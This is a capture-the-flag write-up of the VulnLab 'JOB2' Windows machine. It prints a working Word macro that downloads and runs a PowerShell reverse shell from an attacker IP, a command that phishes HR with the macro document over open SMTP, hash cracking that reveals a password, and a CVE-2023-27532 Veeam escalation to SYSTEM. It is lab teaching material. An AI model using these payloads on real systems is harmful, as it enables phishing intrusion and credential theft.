Phishing HR via SMTP with a macro-laced DOCM shells Julian. hMailServer DB decryption exposes Ferdinand's crackable hash. Evil-WinRM pivots laterally. CVE-2023-27532 against Veeam 10.0.1 gives SYSTEM.
Platform: VulnLab
Machine: JOB2
IP:10.129.238.35Difficulty: Hard
OS: Windows
1. Reconnaissance
Port Scan
An nmap service/version scan against the target reveals a rich Windows attack surface:
Notable: the SMTP service accepts unauthenticated mail (AUTH LOGIN) which immediately stands out as an attack vector.
Web Enumeration
The HTTPS site at https://job2.vl hosts a job listing titled "Captain Wanted" — a boat rental company seeking a part-time fishing captain. The critical detail:
"If you are interested in this position, please send your CV to [email protected] as a Microsoft Word Document."
This is a classic macro-based phishing / red team scenario: an HR inbox is actively reading Word documents, making it ideal for a malicious macro payload.
2. Initial Foothold — Malicious DOCM via SMTP
Attack Plan
The objective is to craft a Word document (.docm) containing a VBA macro that calls back to our attack machine, and deliver it via the unauthenticated SMTP port to [email protected].
Step 1 — Craft the Macro
Create a .docm file with an AutoOpen macro. The macro uses WinExec (a low-level Win32 API call via kernel32) to silently run PowerShell and download a reverse shell script from our HTTP server:
AutoOpen executes automatically when the document is opened — no user interaction beyond clicking "Enable Macros".
uCmdShow = 0 hides the PowerShell window (SHOW_HIDE).
The payload is fetched over HTTP from our machine (10.10.16.5) at runtime.
Verify the macro is embedded correctly using olevba:
Step 2 — Host the Reverse Shell
The shell.ps1 is a standard PowerShell TCP reverse shell:
Serve it on port 80:
Step 3 — Set Up Listener
Step 4 — Send the Email
Using sendemail to deliver the .docm to HR over the unauthenticated SMTP server:
The HR bot automatically opens the attachment. Within seconds, our netcat listener receives a connection:
3. Post-Exploitation as Julian
Verify Access
Julian is a standard user (Medium Mandatory Level), member of Remote Desktop Users and BUILTIN\Users. No interesting privileges beyond the baseline.
Process & Application Enumeration
Reviewing running processes and installed software reveals several key services:
SQL Server (sqlservr.exe, sqlbrowser.exe, sqlwriter.exe)
hMailServer — visible in C:\Program Files (x86)\hMailServer
The combination of hMailServer and Veeam provides two distinct privilege escalation paths.
4. Privilege Escalation — hMailServer Database
Reading the hMailServer Config
nothing interesting there, we'll see more of installed and running processes, in Program Files (x86) we see hMailServer, which we know is running from our previous nmap scan
The .ini file exposes:
Two hashes are present:
The admin UI password (MD5): 8a53bc0c0c9733319e5ee28dedce038e
The database encryption password (hMailServer proprietary encryption): 4e9989caf04eaa5ef87fd1f853f08b62
we get the admin hash from here let's try to crack it and use it to access hMailServer.sdf using the password
Decrypt the Database Password
The database password uses hMailServer's reversible XOR-based encryption. Using hmdecrypt (a .NET tool):
Query the hMailServer Database (.sdf)
The database file is a SQL Server Compact Edition (.sdf) file. We load the appropriate DLL and query it directly from PowerShell on the target:
These are the DLLs required to talk to SQL-CE
Results:
These are hMailServer SHA-256 salted hashes (format: sha256($salt.$password)).
Version 10.0.1.4854 is vulnerable to CVE-2023-27532 — an unauthenticated credential extraction vulnerability in Veeam Backup & Replication that allows any local (or network) user to extract credentials stored by the backup service, typically leading to SYSTEM execution.
The service listens on port 9401:
Exploit
Upload the pre-compiled exploit and its required DLL dependencies:
this is the port running the Veeam backup service this is a pre-compiled binary for it.
we will upload these 4 files on our target machine
Start a netcat listener on port 8001, then run the exploit with a base64-encoded PowerShell reverse shell payload targeting the Veeam service on 127.0.0.1:9401:
The Veeam service runs as NT AUTHORITY\SYSTEM, so the injected command executes with full system privileges.
┌──(kali㉿kali)-[~]
└─$ nmap 10.129.238.35 -sCV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-14 05:29 -0400
Stats: 0:04:18 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 88.64% done; ETC: 05:34 (0:00:17 remaining)
Nmap scan report for 10.129.238.35
Host is up (0.27s latency).
Not shown: 985 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
25/tcp open smtp hMailServer smtpd
| smtp-commands: JOB2, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
111/tcp open rpcbind
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=www.job2.vl
| Subject Alternative Name: DNS:job2.vl, DNS:www.job2.vl
| Not valid before: 2023-05-09T13:31:40
|_Not valid after: 2122-05-09T13:41:37
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
445/tcp open microsoft-ds?
1063/tcp open rpcbind
2049/tcp open rpcbind
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-03-14T10:31:29+00:00; +59m58s from scanner time.
| ssl-cert: Subject: commonName=JOB2
| Not valid before: 2025-10-26T11:44:40
|_Not valid after: 2026-04-27T11:44:40
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
10001/tcp open msexchange-logcopier Microsoft Exchange 2010 log copier
10002/tcp open msexchange-logcopier Microsoft Exchange 2010 log copier
10003/tcp open storagecraft-image StorageCraft Image Manager
Service Info: Host: JOB2; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-03-14T10:30:50
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 59m57s, deviation: 0s, median: 59m57s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 332.52 seconds
Private Declare PtrSafe Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal uCmdShow As Long) As Long
Sub AutoOpen()
WinExec "powershell.exe iex(iwr -uri http://10.10.16.5/shell.ps1 -UseBasicParsing)", 0
End Sub
┌──(kali㉿kali)-[~]
└─$ sudo /root/.local/bin/olevba ~/Documents/job2/cv.docm
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: /home/kali/Documents/job2/cv.docm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Declare PtrSafe Function WinExec Lib "kernel32" ( _
ByVal lpCmdLine As String, _
ByVal uCmdShow As Long) As Long
Sub AutoOpen()
WinExec "powershell.exe iex(iwr -uri http://10.10.16.5/shell.ps1 -UseBasicParsing)", 0
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |AutoOpen |Runs when the Word document is opened |
|Suspicious|shell |May run an executable file or a system |
| | |command |
|Suspicious|powershell |May run PowerShell commands |
|Suspicious|Lib |May run code from a DLL |
|IOC |http://10.10.16.5/sh|URL |
| |ell.ps1 | |
|IOC |10.10.16.5 |IPv4 address |
|IOC |powershell.exe |Executable file name |
|IOC |shell.ps1 |Executable file name |
+----------+--------------------+---------------------------------------------+
┌──(kali㉿kali)-[~/Documents/job2]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
┌──(kali㉿kali)-[~/Documents/job2]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
┌──(kali㉿kali)-[~]
└─$ sendemail -s 10.129.238.35 \
-f "applicant <[email protected]>" \
-t [email protected] \
-o tls=no \
-m "Please find my CV attached." \
-a ~/Documents/job2/cv.docm
Mar 14 07:33:38 kali sendemail[76997]: Email was sent successfully!
┌──(kali㉿kali)-[~/Documents/job2]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.238.35] 54454
PS C:\Windows\system32> pwd
Path
----
C:\WINDOWS\system32
PS C:\Users> whoami
job2\julian
PS C:\WINDOWS\system32> cd ../../Users/Julian
PS C:\Users> whoami /all
USER INFORMATION
----------------
User Name SID
=========== ==============================================
job2\julian S-1-5-21-3935782767-3829597994-1046841959-1000
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Program Files (x86)> ls
Directory: C:\Program Files (x86)
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/28/2025 5:21 PM Common Files d----- 5/3/2023 1:48 PM hMailServer d----- 10/27/2025 3:10 PM Internet Explorer d----- 5/3/2023 2:05 PM LINQPad5 d----- 5/7/2025 9:25 AM Microsoft d----- 10/28/2025 5:23 PM Microsoft Office d----- 5/3/2023 6:15 PM Microsoft SQL Server d----- 5/3/2023 2:08 PM Microsoft SQL Server Compact Edition
d----- 5/3/2023 1:49 PM Microsoft Synchronization Services
d----- 5/3/2023 6:11 PM Microsoft Visual Studio 14.0
d----- 5/3/2023 6:15 PM Microsoft.NET d----- 5/3/2023 1:43 PM MSBuild d----- 5/3/2023 1:43 PM Reference Assemblies d----- 5/3/2023 6:47 PM Veeam d----- 5/8/2021 9:35 AM Windows Defender d----- 10/27/2025 3:10 PM Windows Mail d----- 10/27/2025 3:10 PM Windows Media Player d----- 5/8/2021 9:35 AM Windows NT d----- 10/27/2025 3:10 PM Windows Photo Viewer d----- 5/8/2021 8:34 AM WindowsPowerShell
┌──(kali㉿kali)-[~/Documents/job2]
└─$ john --format=hmailserver --wordlist=/usr/share/wordlists/rockyou.txt usershash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (hMailServer [sha256($s.$p) 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Franzi123! ([email protected])
1g 0:00:00:03 DONE (2026-03-14 10:25) 0.3144g/s 4510Kp/s 12533Kc/s 12533KC/s !JD021803..*7¡Vamos!
Use the "--show --format=hMailServer" options to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/Documents/job2]
└─$ evil-winrm -i 10.129.238.35 -u Ferdinand -p 'Franzi123!'
*Evil-WinRM* PS C:\Users\Ferdinand\Documents> type ../Desktop/user.txt
ed99xxxxxxxxxxxxxxxxxxxxxxxxxf413b
*Evil-WinRM* PS C:\Program Files\Veeam\Backup and Replication> (Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe").VersionInfo
ProductVersion FileVersion FileName
-------------- ----------- --------
10.0.1.4854 10.0.1.4854 C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Service.exe
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8001
listening on [any] 8001 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.238.35] 55925
whoami
nt authority\system
PS C:\WINDOWS\system32> type C:\Users\Administrator\Desktop\root.txt
0fb1xxxxxxxxxxxxxxxxxxxxxxxxxx39df
Nmap scan → SMTP open + job listing → Craft malicious .docm
→ Send CV to [email protected] → AutoOpen macro → Reverse shell (Julian)
→ Enumerate: hMailServer installed → Read .ini → Decrypt DB password
→ Query .sdf → Dump hashed credentials → Crack with JtR
→ Evil-WinRM as Ferdinand → User Flag
→ Veeam 10.0.1.4854 (CVE-2023-27532) → SYSTEM shell → Root Flag